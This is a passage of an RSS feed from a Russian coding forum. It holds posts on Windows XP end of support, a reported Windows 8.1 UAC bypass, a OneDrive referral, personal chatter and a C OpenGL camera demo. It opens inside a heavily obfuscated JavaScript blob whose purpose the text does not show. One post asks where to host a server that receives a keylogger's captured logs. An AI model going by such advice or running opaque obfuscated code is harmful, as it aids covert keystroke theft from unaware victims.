t;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;nbsp;&amp;nbsp;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#41;&amp;#41;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;{&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$&amp;nbsp;&amp;nbsp;.___+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$._&amp;nbsp;&amp;nbsp;_$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;(&amp;#41;&amp;nbsp;&amp;nbsp;;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._&amp;nbsp;&amp;nbsp;_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._+$.$$$_+&quot;}},&amp;#92;&amp;#92;&quot;+$.$__+$._&amp;nbsp;&amp;nbsp;__+$._$$+$.___+$.___+$.__$+$._$$+$.$__$+&quot;&amp;#41;;&quot;+&quot;&amp;#92;&quot;&quot;&amp;#41;(&amp;#41;&amp;#41;(&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;</content:encoded>
<category>Свободное общение</category>
<dc:creator>MAS</dc:creator>
<guid>https://delfcode.ru/forum/28-1373-1</guid>
</item>
<item>
<title>Хостинг для кейлоггера</title>
<link>https://delfcode.ru/forum/28-1367-1</link>
<pubDate>Thu, 19 Mar 2015 04:00:05 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: ETUN4&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Какие хостинги вы используете для отправки логов работы кейлоггера? &lt;br /&gt; Пробовал на hostinger.ru, так он через несколько тестов начал искажать файлы, которые отправляю.</content:encoded>
<category>Свободное общение</category>
<dc:creator>ETUN4</dc:creator>
<guid>https://delfcode.ru/forum/28-1367-1</guid>
</item>
<item>
<title>Конец поддержки Windows XP. 8 апреля 2014.</title>
<link>https://delfcode.ru/forum/28-1228-1</link>
<pubDate>Tue, 17 Mar 2015 10:54:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: * хнык&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 25</description>
<content:encoded>Собсвенно сабж в названии темы. &lt;br /&gt; ОС сейчас по сервисам статистики остается &lt;span style=&quot;color:#00ff00&quot;&gt;ВТОРОЙ&lt;/span&gt; по популярности в мире. &lt;br /&gt; Для тех кто не знает чем опасно прекращение поддержки, объясняю: Перестанут выходить обновления безопасности, это значит что уязвимости в системе, найденные после 8 апреля 2014 &lt;u&gt;будут всегда нулевого дня&lt;/u&gt;. О том что это такое, и что это дает, думаю здесь многие знают, расписывать не буду. &lt;br /&gt;&lt;br /&gt; Собственно вопросы: какие дальше будут перспективы? неужели майкрософт бросит четверть юзеров по миру? мб сделать ее опенсорсной?</content:encoded>
<category>Свободное общение</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/28-1228-1</guid>
</item>
<item>
<title>Windows 8.1 UAC</title>
<link>https://delfcode.ru/forum/23-1332-1</link>
<pubDate>Sat, 07 Mar 2015 14:45:00 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/23&quot;&gt;Безопасность&lt;/a&gt;&lt;br /&gt;Описание темы: Уязвимость&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>&lt;img src=&quot;http://zhacker.net/uploads/posts/2015-01/1420570017_windows-8.1.png&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt; &lt;br /&gt;&lt;br /&gt; Google раскрыла подробности о критической бреши в Windows 8.1 &lt;br /&gt;&lt;br /&gt; Уязвимость позволяет скомпрометировать целевую систему путем обхода функционала UAC. &lt;br /&gt; Эксперты компании Google из Project Zero опубликовали подробности критической уязвимости в операционной системе Windows 8.1 от Microsoft, передает Naked Security. В настоящий момент брешь все еще не устранена. &lt;br /&gt;&lt;br /&gt; Подробности уязвимости были обнародованы автоматически поскольку с того момента, как исследователи уведомили разработчиков о наличии бреши прошло 90 дней. Соответствующее предупреждение было отправлено Microsoft еще 30 сентября прошлого года. &lt;br /&gt;&lt;br /&gt; Как следует из уведомления Google, брешь находится в механизме контроля учетных записей пользователей (UAC), а точнее в функции NtApphelpCacheControl. Эксплуатация уязвимости позволяет вредоносным приложениям обойти ограничения UAC. Таким образом, программы злоумышленников могут работать на инфицированной системе с административными привилегиями. &lt;br /&gt;&lt;br /&gt; Стоит отметить, что в качестве мер предосторожности пользователи могут использовать административную учетную запись, что исключает необходимость использования системой как UAC в целом, так и его уязвимых компонентов. &lt;br /&gt;&lt;br /&gt; PS: взято отсюда - &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/hOkbCg&quot; title=&quot;http://zhacker.net/it-news/2582-uyazvimost-v-windows-81.html&quot; rel=&quot;nofollow&quot;&gt;http://zhacker.net/it-news/2582-uyazvimost-v-windows-81.html&lt;/a&gt;</content:encoded>
<category>Безопасность</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/23-1332-1</guid>
</item>
<item>
<title>OneDrive</title>
<link>https://delfcode.ru/forum/28-1355-1</link>
<pubDate>Thu, 26 Feb 2015 06:58:57 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: Marra_Kesh&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>OneDrive — это бесплатное интернет-хранилище, предоставляемое вместе с учетной записью Microsoft. Это словно дополнительный жесткий диск, доступный со всех используемых вами устройств. Больше не нужно отправлять себе файлы по электронной почте или носить с собой USB-устройство флэш-памяти, рискуя его потерять. Работая над презентацией на ноутбуке, просматривая фотографии с семейного отпуска на планшете или составляя список покупок на телефоне, вы сможете использовать свои файлы из OneDrive. &lt;br /&gt; Microsoft предоставляет 15ГБ бесплатно. &lt;br /&gt; Пригласите друга в OneDrive, и вы оба получите дополнительно по 500 МБ. Пригласили 10 друзей? Получите максимальное вознаграждение — 5 ГБ. &lt;br /&gt;&lt;br /&gt; Ребята давайте поможем друг другу.</content:encoded>
<category>Свободное общение</category>
<dc:creator>Marra_Kesh</dc:creator>
<guid>https://delfcode.ru/forum/28-1355-1</guid>
</item>
<item>
<title>Я в армии</title>
<link>https://delfcode.ru/forum/28-1335-1</link>
<pubDate>Wed, 04 Feb 2015 19:43:22 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: я в армии, *ля&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>ЗДарова пацаны, я сейчас в армии, у вас как дела:-) ? ЧЕго нового :-) ?</content:encoded>
<category>Свободное общение</category>
<dc:creator>MAS</dc:creator>
<guid>https://delfcode.ru/forum/28-1335-1</guid>
</item>
<item>
<title>[C/C++] Простейший 3D мир</title>
<link>https://delfcode.ru/forum/35-1333-1</link>
<pubDate>Fri, 23 Jan 2015 16:46:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/35&quot;&gt;Остальные языки программирования&lt;/a&gt;&lt;br /&gt;Описание темы: WinApi+OpenGL&lt;br /&gt;Автор темы: Волк-1024&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>С недавних пор я занялся изучением программированием 3D графики, посему выкладываю свои недописанные наброски на С. &lt;br /&gt; В интернете достаточно много примеров, но они все слишком громоздкие и труднопонимаемые. Я же постарался сделать всё кратко. &lt;br /&gt; Изначально всё писалось с использованием библиотеки Freeglut.dll, но чтобы не отступать от своих принципов, сделал всё на голых вызовах и WinApi) &lt;br /&gt;&lt;br /&gt; Из недописанного по причине лени(выкинуто из кода): стрейф камеры, загрузка текстур и свет. &lt;br /&gt; Если данный пример вас заинтересует, то в следующий раз я реализую недописанное, возможно на Делфи. &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; Управление: мышь + wasd, выход на Esc. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; #include &lt;windows.h&gt; &lt;br /&gt; #include &lt;gl/glu.h&gt; &lt;br /&gt; #include &lt;gl/gl.h&gt; &lt;br /&gt; #include &lt;math.h&gt; &lt;br /&gt;&lt;br /&gt; #define VK_W&amp;nbsp;&amp;nbsp;0x057 &lt;br /&gt; #define VK_S&amp;nbsp;&amp;nbsp;0x053 &lt;br /&gt; #define VK_A&amp;nbsp;&amp;nbsp;0x041 &lt;br /&gt; #define VK_D&amp;nbsp;&amp;nbsp;0x044 &lt;br /&gt;&lt;br /&gt; typedef struct TVector3D &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GLdouble&amp;nbsp;&amp;nbsp;x; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GLdouble&amp;nbsp;&amp;nbsp;y; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GLdouble&amp;nbsp;&amp;nbsp;z; &lt;br /&gt; } &lt;br /&gt; TVector3D; &lt;br /&gt;&lt;br /&gt; typedef struct TCameraObject &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D&amp;nbsp;&amp;nbsp;Pos;&amp;nbsp;&amp;nbsp;// Вектор позиции камеры. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D&amp;nbsp;&amp;nbsp;View; // Вектор направления камеры. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D&amp;nbsp;&amp;nbsp;Up;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Вертикальная ось. &lt;br /&gt; } &lt;br /&gt; TCameraObject; &lt;br /&gt;&lt;br /&gt; HDC hDC; &lt;br /&gt; HGLRC hRC; &lt;br /&gt; HWND hMainWindow; &lt;br /&gt; int AppWidth, AppHeight; &lt;br /&gt;&lt;br /&gt; TCameraObject Camera = {{0.0, 2.5, 5.0}, {0.0, 2.5, 0.0}, {0.0, 1.0, 0.0}}; // А вот такого в Делфи нельзя &lt;br /&gt;&lt;br /&gt; TVector3D NormalizeVector(TVector3D Vector&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D Result; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;double Length = sqrt((Vector.x * Vector.x&amp;#41; + (Vector.y * Vector.y&amp;#41; + (Vector.z * Vector.z&amp;#41;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result.x = Vector.x / Length; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result.y = Vector.y / Length; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result.z = Vector.z / Length; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Result; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; TVector3D CrossVectors(TVector3D Vector1, TVector3D Vector2&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D Result; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result.x = ((Vector1.y * Vector2.z&amp;#41; - (Vector1.z * Vector2.y&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result.y = ((Vector1.z * Vector2.x&amp;#41; - (Vector1.x * Vector2.z&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result.z = ((Vector1.x * Vector2.y&amp;#41; - (Vector1.y * Vector2.x&amp;#41;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Result; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void RotateCamera(double Speed&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D Vector; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Vector.x = Camera.View.x - Camera.Pos.x; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Vector.z = Camera.View.z - Camera.Pos.z; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.View.z = Camera.Pos.z + sin(Speed&amp;#41; * Vector.x + cos(Speed&amp;#41; * Vector.z; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.View.x = Camera.Pos.x + cos(Speed&amp;#41; * Vector.x - sin(Speed&amp;#41; * Vector.z; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void MoveCamera(double Speed&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TVector3D Vector = {0}; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Получаем вектора(направление&amp;#41; взгляда &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Vector.x = Camera.View.x - Camera.Pos.x; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Vector.z = Camera.View.z - Camera.Pos.z; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Vector = NormalizeVector(Vector&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Полученное направление, помноженное на скорость, прибавляем к позиции камеры и к позиции взгляда. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Тем самым передвигая камеру вперёд или, если Speed отрицательное - назад. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.Pos.x&amp;nbsp;&amp;nbsp;+= Vector.x * Speed; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.Pos.z&amp;nbsp;&amp;nbsp;+= Vector.z * Speed; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.View.x += Vector.x * Speed; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.View.z += Vector.z * Speed; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void DrawGrid(&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (float i = -50; i &lt;= 100; i += 5&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glBegin(GL_LINES&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glVertex3f(-50, 0, i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glVertex3f(100, 0, i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glVertex3f(i, 0,-50&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glVertex3f(i, 0, 100&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glEnd(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void RenderScene(HDC hDC&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT&amp;#41;; // Очищаем буфер цвета и буфер глубины. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glLoadIdentity(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Устанавливаем вектора камеры. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;gluLookAt(Camera.Pos.x,&amp;nbsp;&amp;nbsp;Camera.Pos.y,&amp;nbsp;&amp;nbsp;Camera.Pos.z, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.View.x, Camera.View.y, Camera.View.z, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.Up.x,&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.Up.y,&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.Up.z&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DrawGrid(&amp;#41;; // Рисуем сетку. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glTranslatef(0.0, 30.0, 0.0&amp;#41;; // Вторую сетку поднимим на 30 чего-то там по Y&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DrawGrid(&amp;#41;;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SwapBuffers(hDC&amp;#41;; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void MouseMove(int xMouse, int yMouse&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;double xAngle = (double&amp;#41;((AppWidth &gt;&gt; 1&amp;#41;&amp;nbsp;&amp;nbsp;- xMouse&amp;#41; * 0.0005; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;double yAngle = (double&amp;#41;((AppHeight &gt;&gt; 1&amp;#41; - yMouse&amp;#41; * 0.0010; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Camera.View.y &gt; 8.0&amp;#41;&amp;nbsp;&amp;nbsp;Camera.View.y = 8.0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Camera.View.y &lt; -3.0&amp;#41; Camera.View.y = -3.0; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Camera.View.y += yAngle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RotateCamera(-xAngle&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetCursorPos(AppWidth &gt;&gt; 1, AppHeight &gt;&gt; 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RenderScene(hDC&amp;#41;; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void KeyboardInput(int Key&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch (Key&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case VK_W: MoveCamera(0.5&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Движние вперёд. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case VK_S: MoveCamera(-0.5&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Назад. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case VK_D: RotateCamera(0.025&amp;#41;;&amp;nbsp;&amp;nbsp;// Вправо. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case VK_A: RotateCamera(-0.025&amp;#41;; // Влево &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case VK_ESCAPE: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PostQuitMessage(0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; void ResizeScene(int nWidth, int nHeight&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AppWidth&amp;nbsp;&amp;nbsp;= nWidth; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AppHeight = nHeight; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glViewport(0, 0, nWidth, nHeight&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glMatrixMode(GL_PROJECTION&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glLoadIdentity(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;gluPerspective(45.0, nWidth / nHeight, 0.1, 0&amp;#41;; // Устнавливаем поле обзора в 45 градусов, соотношение сторон, передний и задний план. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glMatrixMode(GL_MODELVIEW&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;glLoadIdentity(&amp;#41;; &lt;br /&gt; } &lt;br 